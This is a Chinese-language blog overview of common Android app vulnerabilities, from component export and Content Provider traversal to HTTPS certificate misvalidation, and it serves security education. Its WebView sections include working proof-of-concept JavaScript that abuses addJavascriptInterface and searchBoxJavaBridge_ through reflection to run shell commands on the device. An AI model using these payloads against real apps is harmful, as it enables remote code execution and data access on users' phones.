Android APP 漏洞整理

组件安全

(1) 如果四大组件包含 intent-filter,那么系统认为这个组件可以被外部通过隐式调用,所以默认 export 为 true

(2) 如果四大组件不包含 intent-filter,那么系统认为这个组件值只可以被内部通过显式调用,所以默认 export 为 false

Activity

权限

Android 所有组件声明时可以通过指定 android:exported 属性值为 false,来设置组件不能被外部程序调用

如果希望 Activity 能够被特定的程序访问,可以使用 android:permission 属性来指定一个权限字符串,如:

<Activity android:name=".MyActivity"
       android:permission="com.test.permission.MyActivity">
       <intent-filter>
           <action android:name="com.test.action"></action>
       </intent-filter>
</Activity>

Broadcast

假如使用 sendBroadcast() 发送广播,攻击者可以优先响应该实例发送的广播;假如使用 sendOrderedBroadcast() 发送,攻击者可以使用 abortBroadcast() 终止广播,BroadcastReceiver 实例可能永远无法收到自己发送的广播。

关于优先级:动态注册的广播接收者比静态广播接收者的优先级高,静态广播接收者的优先级根据设置的 android:priority 属性的数值来决定,数值越大,优先级越高。

Service

同 Activity,设置权限防止被其它 app 启动/绑定/停止服务

Content Provider

权限

API Level 低于 17 时,Content Provider 默认为公开

SQL 注入

传递给 Content Provider 的参数应该被视为不可信的

目录遍历

Android Content Provider 存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的

参考链接:

http://blog.csdn.net/u013309870/article/details/69228125

http://blog.csdn.net/jltxgcy/article/details/48312359

https://jaq.alibaba.com/blog.htm?id=61


Webview 远程代码执行

CVE-2012-6636

Android API level 16 以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface 方法,远程攻击者可通过使用Java Reflection API 利用该漏洞执行任意 Java 对象的方法

影响范围

系统版本低于 4.2 / API Level < 17

利用条件

  1. 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象

  2. 使用 WebView 加载外部网页或者本地网页

  3. 系统版本低于 4.2

POC

利用 addJavascriptInterface 方法注册可供JavaScript调用的 java 对象 “injectedObj”,利用反射机制调用 Android API sendTextMessage 来发送短信

Java 代码:

mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");

JS 代码

<html>
<body>
<script>
      function getContents(inputStream)
      {
        var i = 0;
        var contents = "";
        var b = inputStream.read();
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i=i+1;
        return contents;
       }
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
</body>
</html>

CVE-2014-1939

Android 系统中 webkit 中默认内置的一个 searchBoxJavaBridge_ 接口同时存在远程代码执行漏洞

影响范围

Android 4.0~4.3

利用条件

  1. webkit 内核
  2. Android 4.0~4.3

POC

<html>
<body>
<script>
      function getContents(inputStream)
      {
        var i = 0;
        var contents = "";
        var b = inputStream.read();
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i=i+1;
        return contents;
       }
         function execute(cmdArgs)
         {
             return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
</body>
</html>

参考链接

https://jaq.alibaba.com/blog.htm?id=48


SecureRandom 漏洞

SecureRandom 随机性是通过它的 seed 来保证的。如果输入相同的 seed 会导致生成重复的随机数。SecureRandom 内部维护一个 internal random state,它生成随机数的方式具有确定性

漏洞位置

  1. SecureRandom#SecureRandom(byte[] seed)
  2. SecureRandom#setSeed(long seed)
  3. SecureRandom#setSeed(byte[] seed)

触发条件

  1. 调用 SecureRandom 类的构造函数 SecureRandom(byte[] seed)

    或者在生成随机数之前调用 setSeed(long seed)

    或者 setSeed(byte[] seed) 方法设置随机种子

  2. 系统版本低于 4.2

参考链接

https://jaq.alibaba.com/blog.htm?id=47


AllowBackup

在谷歌 2010 年发布 Android 2.2 Froyo (冻酸奶)系统中,谷歌引入一个了系统备份的功能,允许用户备份系统应用和第三方应用的 apk 安装包和应用数据,以便在刷机或者数据丢失后恢复应用。 第三方应用开发者需要在应用的 AndroidManifest.xml 文件中配置 allowBackup 标志(默认为 true )来设置应用数据是否能能够被备份或恢复。当这个标志被设置为 true 时应用程序数据可以在手机未获取 ROOT 的情况下通过 adb 调试工具来备份和恢复,这就允许恶意攻击者在接触用户手机的情况下在短时间内启动手机 USB 调试功能来窃取那些能够受到 AllowBackup 漏洞影响的应用的数据,造成用户隐私泄露甚至财产损失。

参考链接

http://www.droidsec.cn/%E8%AF%A6%E8%A7%A3android-app-allowbackup%E9%85%8D%E7%BD%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E9%A3%8E%E9%99%A9/

WebView File 域同源策略绕过

通过 WebView 对 Javascript 的延时执行和将当前 Html 文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件,然后通过 JavaScript 再次读取 HTML 文件,即可获取到被符号链接所指的文件。

利用条件

  1. 组件可导出
  2. WebView 没有禁止使用 file 域
  3. WebView 打开了对 JavaScript 的支持

参考链接

https://jaq.alibaba.com/blog.htm?id=62


Android HTTPS 中间人劫持

由于客户端没有校验服务端的证书,因此攻击者就能与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容

漏洞位置

X509TrustManager 、HostnameVerifier 、 setHostnameVerifier (X509HostnameVerifier hostnameVerifier)

触发条件

自定义的 X509TrustManager 不校验证书
或实现的自定义 HostnameVerifier 不校验域名接受任意域名
或使用 setHostnameVerifier (ALLOW_ALL_HOSTNAME_VERIFIER)

参考链接

https://jaq.alibaba.com/blog.htm?id=60


Android 应用本地拒绝服务漏洞

Android应用本地拒绝服务漏洞源于程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用 crash 的目的,简单的说就是攻击者通过 intent 发送空数据、异常或畸形数据给受害者应用,导致其崩溃。

触发条件

  1. 组件可导出
  2. getIntent() 的 intent 附带空数据、异常或畸形数据
  3. 处理 getXXXExtra() 获取的数据时没有进行异常捕获

参考链接

https://jaq.alibaba.com/blog.htm?id=55


URL Schema 安全

Android 中可以通过点击网页内的某个链接打开 APP,或者在其它 APP 中通过点击某个链接打开另外一个 APP

Custom Scheme URI 打开APP

APP 获取到来自网页的数据后,生成一个新的 intent,然后发送给别的组件使用这些数据。比如使用 Webview 相关的 Activity 来加载一个来自网页的 url,如果此 url 来自url scheme 中的参数,如:jaq://jaq.alibaba.com?load_url=http://www.taobao.com

如果在 APP 中没有检查获取到的 load_url 的值,攻击者就可以构造钓鱼网站,诱导用户点击

Intent-based URI 打开 APP

语法:

intent:
HOST/URI_path // Optioinal host
#Intent;
package=[string];
action=[string];
componet=[string];
scheme=[string];
end

如果未配置 intent 过滤策略,则可将 payload 作为任意的参数放入 intent 中

利用 Intent Selector

Intent Selector 机制提供一种 main intent 不匹配的情况下可以设置替补的方案

如:

intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

其中的 SEL 关键字就是设置了一个 component 为 com.android.chrome/.xyz 的 selector intent

参考链接:

https://jaq.alibaba.com/community/art/show?articleid=265

http://blog.csdn.net/l173864930/article/details/36951805?spm=a313e.7916648.0.0.11b0b6cXNqLdb


Shared Preferences 安全

  1. 使用 MODE_WORLD_READABLE 模式创建 Shared Preferences 文件,使得其他应用对该 Shared Preferences 文件具备可读的权限
  2. 使用 MODE_WORLD_WRITEABLE 模式创建 Shared Preferences 文件并含有 “android:sharedUserId” 属性值,使得其他应用对该应用的 Shared Preferences 文件具备可写的权限
  3. 在具备 root 权限的程序或用户对任何应用程序通过任意模式创建的的 Shared Preferences 文件都具有可读可写的权限


UXSS 漏洞

Android 4.4 前 webkit 存在

参考链接

https://security.tencent.com/index.php/blog/msg/70


可重打包风险

逻辑漏洞

敏感信息硬编码

数据传输安全

代码篡改

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,185评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,652评论 3 393
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,524评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,339评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,387评论 6 391
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,287评论 1 301
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,130评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,985评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,420评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,617评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,779评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,477评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,088评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,716评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,857评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,876评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,700评论 2 354

推荐阅读更多精彩内容